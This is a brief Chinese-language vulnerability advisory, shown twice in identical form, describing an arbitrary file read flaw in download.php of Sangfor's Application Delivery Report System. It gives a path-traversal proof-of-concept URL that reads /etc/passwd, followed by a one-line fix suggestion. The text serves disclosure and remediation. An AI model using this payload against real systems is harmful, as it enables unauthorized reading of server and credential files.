漏洞描述:
深信服 应用交付报表系统 download.php文件存在任意文件读取漏洞,攻击者通过漏洞可以下载服务器任意文件。
漏洞利用条件:
download.php文件接口
漏洞影响范围:
应用交付报表系统
漏洞复现:
1、登录页面:
2.poc:/report/download.php?pdf=../../../../../etc/passwd
修复建议:
对下载进行严格控制
漏洞描述:
深信服 应用交付报表系统 download.php文件存在任意文件读取漏洞,攻击者通过漏洞可以下载服务器任意文件。
漏洞利用条件:
download.php文件接口
漏洞影响范围:
应用交付报表系统
漏洞复现:
1、登录页面:
2.poc:/report/download.php?pdf=../../../../../etc/passwd
修复建议:
对下载进行严格控制